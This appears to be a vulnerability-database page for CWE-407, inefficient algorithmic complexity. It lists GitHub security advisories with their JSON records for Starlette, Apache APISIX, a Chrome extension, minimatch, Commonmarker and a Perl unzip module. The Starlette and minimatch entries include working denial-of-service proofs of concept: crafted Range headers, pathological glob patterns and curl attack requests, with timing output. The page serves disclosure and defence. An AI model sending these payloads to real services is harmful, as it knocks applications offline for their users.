GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

320 vulnerabilities reference this CWE, most recent first.

GHSA-7F5H-V6XP-FCQ8

Vulnerability from github – Published: 2025-10-28 20:38 – Updated: 2025-11-04 17:40
VLAI
Summary
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Details

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)

    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.49.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "starlette"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.39.0"
            },
            {
              "fixed": "0.49.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-28T20:38:01Z",
    "nvd_published_at": "2025-10-28T21:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n    @staticmethod\n    def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n        ranges: list[tuple[int, int]] = []\n        try:\n            units, range_ = http_range.split(\"=\", 1)\n        except ValueError:\n            raise MalformedRangeHeader()\n\n        # [...]\n\n        ranges = [\n            (\n                int(_[0]) if _[0] else file_size - int(_[1]),\n                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n            )\n            for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n            if _ != (\"\", \"\")\n        ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n  This affects any Starlette application that uses:\n\n  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n  - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n    import starlette\n    from starlette.responses import FileResponse\nexcept Exception as e:\n    print(f\"[ERROR] Failed to import starlette: {e}\")\n    sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n    \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n    return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n    start = time.perf_counter()\n    try:\n        FileResponse._parse_range_header(header, file_size)\n    except Exception:\n        pass\n    end = time.perf_counter()\n    elapsed = end - start\n    return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n    range_body = build_payload(num_zeros)\n    header = \"bytes=\" + range_body\n    # Use a sufficiently large file_size so upper bounds default to file size\n    file_size = max(len(range_body) + 10, 1_000_000)\n    \n    print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n    elapsed_time = test(header, file_size)\n    print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n    print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n    for n in [5000, 10000, 20000, 40000]:\n        run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
  "id": "GHSA-7f5h-v6xp-fcq8",
  "modified": "2025-11-04T17:40:59Z",
  "published": "2025-10-28T20:38:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kludex/starlette"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``"
}

GHSA-7P87-32CX-94G2

Vulnerability from github – Published: 2026-08-27 12:30 – Updated: 2026-08-28 21:31
VLAI
Details

Inefficient Algorithmic Complexity vulnerability in Apache APISIX.

A single small request can pin a gateway worker at 100% CPU for an extended period in graphql-limit-count routes.

This issue affects Apache APISIX: 3.17.0.

Users are recommended to upgrade to version 3.18.0, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-75005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T10:16:36Z",
    "severity": "HIGH"
  },
  "details": "Inefficient Algorithmic Complexity vulnerability in Apache APISIX.\n\n A single small request can pin a gateway worker at 100% CPU for an extended period in graphql-limit-count routes.\n\n\n\n\nThis issue affects Apache APISIX: 3.17.0.\n\n\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
  "id": "GHSA-7p87-32cx-94g2",
  "modified": "2026-08-28T21:31:06Z",
  "published": "2026-08-27T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75005"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/wfs7c9l8sokrh9hzv84lno12nx2zxpjk"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/26/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7QQF-R2PG-XHQJ

Vulnerability from github – Published: 2026-06-03 21:30 – Updated: 2026-06-05 21:31
VLAI
Details

Version 3.0.7 of the Securly Chrome Extension uses deprecated SHA-1 hashing for IWF CSAM URL matching (25,020 hashes) and CIPA blocklist matching (12,352 hashes).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T19:16:39Z",
    "severity": "HIGH"
  },
  "details": "Version 3.0.7 of the Securly Chrome Extension uses deprecated SHA-1 hashing for IWF CSAM URL matching (25,020 hashes) and CIPA blocklist matching (12,352 hashes).",
  "id": "GHSA-7qqf-r2pg-xhqj",
  "modified": "2026-06-05T21:31:55Z",
  "published": "2026-06-03T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8889"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/595768"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R86-CG39-JMMJ

Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10
VLAI
Summary
minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:10:18Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n  ..\n  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n    ..\n    return true\n  }\n  ..\n  fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time     |\n|---------------|--------------|----------|\n| 7             | 36 bytes     | ~154ms   |\n| 9             | 46 bytes     | ~1.2s    |\n| 11            | 56 bytes     | ~5.4s    |\n| 12            | 61 bytes     | ~9.7s    |\n| 13            | 66 bytes     | ~15.9s   |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path    = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path    = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n  const url = new URL(req.url, `http://localhost:${PORT}`)\n  if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
  "id": "GHSA-7r86-cg39-jmmj",
  "modified": "2026-02-26T22:10:18Z",
  "published": "2026-02-26T22:10:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}

GHSA-7VH7-FW88-WJ87

Vulnerability from github – Published: 2023-08-08 17:12 – Updated: 2023-08-08 17:12
VLAI
Summary
Several quadratic complexity bugs may lead to denial of service in Commonmarker
Details

Impact

Several quadratic complexity bugs in commonmarker's underlying cmark-gfm library may lead to unbounded resource exhaustion and subsequent denial of service.

The following vulnerabilities were addressed:

For more information, consult the release notes for version 0.29.0.gfm.12.

Mitigation

Users are advised to upgrade to commonmarker version 0.23.10.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "commonmarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-08T17:12:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nSeveral quadratic complexity bugs in commonmarker\u0027s underlying [`cmark-gfm`](https://github.com/github/cmark-gfm) library may lead to unbounded resource exhaustion and subsequent denial of service.\n\nThe following vulnerabilities were addressed:\n\n* [CVE-2023-37463](https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5)\n\nFor more information, consult the release notes for version [`0.29.0.gfm.12`](https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.12).\n\n## Mitigation\n\nUsers are advised to upgrade to commonmarker version [`0.23.10`](https://rubygems.org/gems/commonmarker/versions/0.23.10).",
  "id": "GHSA-7vh7-fw88-wj87",
  "modified": "2023-08-08T17:12:00Z",
  "published": "2023-08-08T17:12:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-7vh7-fw88-wj87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gjtorikian/commonmarker/commit/db8cd377b54541f7fd484d168b7682a282a680f7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gjtorikian/commonmarker"
    },
    {
      "type": "WEB",
      "url": "https://rubygems.org/gems/commonmarker/versions/0.23.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Several quadratic complexity bugs may lead to denial of service in Commonmarker"
}

GHSA-7VXX-5GQR-7R44

Vulnerability from github – Published: 2026-05-27 06:31 – Updated: 2026-05-29 18:31
VLAI
Details

IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward.

fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration.

Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-48959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T04:16:31Z",
    "severity": "HIGH"
  },
  "details": "IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward.\n\nfastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration.\n\nExtracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip-\u003enew($zip, Name =\u003e $target) drives a per-byte read loop scaling with the entry\u0027s compressed size, up to the non-Zip64 4 GiB cap.",
  "id": "GHSA-7vxx-5gqr-7r44",
  "modified": "2026-05-29T18:31:15Z",
  "published": "2026-05-27T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmqs/IO-Compress/commit/68db44076f4c1a86a2ffe53a958eac6cabaf72e2.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/27/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
